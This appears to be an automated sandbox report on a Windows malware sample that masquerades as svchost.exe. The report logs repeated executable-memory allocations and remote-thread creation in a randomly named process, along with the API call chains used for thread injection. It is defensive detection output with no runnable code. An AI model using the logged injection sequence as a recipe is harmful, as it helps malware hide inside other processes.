Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 24F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2E80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 25F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2670000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1550000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1540000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1070000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1470000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1220000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 600000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 940000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1570000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1220000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1250000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1400000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 14A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1020000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1190000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1550000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A20000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1340000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1580000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 880000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1460000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 13A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1380000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 620000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1200000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1590000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1440000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: B90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1320000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 600000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1000000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F20000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 860000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 870000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 810000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1210000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1170000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1090000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A00000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 780000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 920000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 860000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 840000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC0000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00401580 IsUserAnAdmin,Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,WriteProcessMemory,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,	0_2_00401580
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00401580 IsUserAnAdmin,Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,WriteProcessMemory,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,	2_2_00401580
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C93240 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,	2_2_02C93240
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01263240 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,	6_2_01263240
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_01063240 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,	7_2_01063240
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A43240 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,	9_2_00A43240

Creates a thread in another existing process (thread injection)

Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 11E1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: FE1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 9C1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 2EA1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 2AF1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 11D1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 2AB1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 24F1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 2E81360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 25F1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 2671360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: 1551360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe EIP: CD1360	Jump to behavior
